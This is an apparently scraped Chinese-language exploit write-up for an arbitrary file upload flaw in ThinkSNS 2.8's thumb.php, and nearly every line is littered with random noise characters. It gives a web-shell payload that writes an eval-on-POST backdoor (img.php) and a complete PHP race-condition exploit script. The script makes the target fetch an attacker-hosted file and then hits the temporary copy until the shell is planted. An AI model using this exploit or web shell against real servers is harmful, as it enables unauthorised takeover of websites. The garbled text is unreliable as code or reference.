漏洞版本
& W7 T- F0 y0 I- _) a存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过); V) r7 B8 Y0 Z( c& h9 M- {4 e( s
漏洞文件' X) g% N% I4 `8 |
存在漏洞的文件为:thumb.php$ o" Y" {* q) j* k
作者:韦鲲鹏
; Y2 ~! w' V( n3 s |! t. V! T1、 准备如下PHP文件并上传到服务器(自己的)。
) d5 R9 \( j( ^) r6 Z3 R文件内容如下:
) A2 V( M3 s# O+ ]3 ?- g<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
, G% G7 L+ ?, z+ ]" R+ J2、 计算出临时的文件名:' X( d ~( x( v W
这里我们可以看文件的99行(刚刚是不是没注意呀!)。$ W5 ]' ]# |+ h3 D, |) a2 T8 l
# Q4 E/ A7 z" r% i2 ]
3、 上传临时文件。/ X' ]; V6 w+ [% Y2 \: n- M. Q# h
4、 访问临时文件。. j) w+ Q; ~- E- p
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)3 m: @, m( q5 I$ H4 S; j8 ~4 i
Exploit文件内容如下:(这个我就不详细解释了)- x5 C" k; x2 ]/ X" t
<?php
. F) X$ Q$ s& L2 O( i0 B( cerror_reporting(0);
7 E ~ d- A3 y. N% _- }' Jset_time_limit(0);
+ V. o. h0 D+ \ini_set(“default_socket_timeout”, 5);
$ y2 I) J& }! V! r3 t! K# F( pfunction http_send($host, $port, $headers) {
: z6 ?$ v( H: n8 s" S" H# a$ Y- P5 _$fp = fsockopen($host, $port);3 d; G+ T: G6 l- J5 Z3 o1 s
if (!$fp) die(‘Connection -> fail’); e' Y2 N# ?7 o9 L7 {( }
fputs($fp, $headers);
8 r8 n0 |% Y0 Q7 d! L' @return $fp;
% M% v) k1 Q. `# M8 V}
! m* U/ g6 h8 h5 c' y+ \ Qfunction http_recv($fp) {
/ y$ J' B9 X4 N3 _( \" c$ret=”";5 d7 e1 p6 E, L% x# z
while (!feof($fp))
# h) P0 m$ W$ G8 Z- L a) H$ret.= fgets($fp, 1024);) F- z1 @0 u. i' G6 d0 l
fclose($fp);
' k/ v* c5 Y$ jreturn $ret;
% a9 d* \" P5 l! H1 j}
' X8 H/ C0 V Z3 F7 A dprint “\n# ThinkSns Arbitrary File Upload #\n”;6 |$ p) u- U1 p. K a- C$ ]
print “# Discovered by 韦鲲鹏 #\n\n”;) j. y8 t2 q: Q9 n* n$ s. x
if ($argc < 4) {! L; H. F( t8 m. t& o" z
print “Usage: php <host> <path> <romote_url>\n”;2 h; H: L @6 @- K( }
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;3 {$ L7 K% l, K" B! H; M
die();& w$ \, y* z4 c, ]& O9 _" F) ~" D
}/ f; M8 K! H" ]& R: j
$host = $argv[1];+ z( Z& X" L2 t+ z) f% ]
$path = $argv[2];) \6 s4 q, B, j( Z4 m F( h
$url = $argv[3];% K: c% ~( A! C
$i=0;7 \; |8 x+ Q+ k6 W O8 o6 Z
//上传数据包4 w5 W ^( u0 y2 J1 L
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
' H# C! k# I9 X1 s2 [: Q$headers_up .= “Host: “.$host.”\r\n”;, i9 C, }; ^# [4 Y# F" P- A
$headers_up .= “Connection: close\r\n\r\n”;" F$ }7 Q( T2 }! }4 D. i5 H5 F
echo $headers_up;: T6 H+ |! Z! H3 w, e: A# n! o
//临时文件访问数据包: j! i2 K. e( W/ \( n0 f( H
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
6 v4 p3 [. k- U, K# ^$headers .= “Host: “.$host.”\r\n”;* _* Z7 Y+ q; E9 h
$headers .= “Connection: close\r\n\r\n”; @% T* l2 u5 i
echo $headers;1 | ~" I$ A% O1 R( |) Q# o
while(++$i<10) {
" b8 [ j& B$ x$ t" W+ qfclose(http_send($host, 80, $headers));: x/ @) w/ @ r1 v# h) {
}* d L4 E9 @4 b6 v! f
fclose(http_send($host, 80, $headers_up));
S# N+ G2 _$ r6 x& K3 k$ L5 H, Owhile(++$i<50) {) T( ~5 e; V8 p2 F. q/ N
fclose(http_send($host, 80, $headers));
& X% f' m0 H) J _. j8 ~} Y) J+ G% q) H
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
' M1 z2 d3 Q, Z$headers .= “Host: “.$host.”\r\n”;1 i# g+ h% h5 S. B( V) X+ a
$headers .= “Connection: close\r\n\r\n”;
; @' n7 B, g7 C1 e6 q/ C$ X$res=http_recv(http_send($host, 80, $headers));6 x* y# D! t+ g5 `
if(preg_match(‘/200 OK/’,$res)) {% a% ?2 n E0 [# @9 K. `
print “Success!\n\n”;0 ~' I( E Z" ]: j9 G& ^; Q
} else {% R4 b3 Y4 z p
print “Fail!\n\n”;
/ ]- O+ q# y2 `* g' l}7 v# x. n- N7 o" a' K3 q& Z
?>2 f8 p: u* E) U+ k
|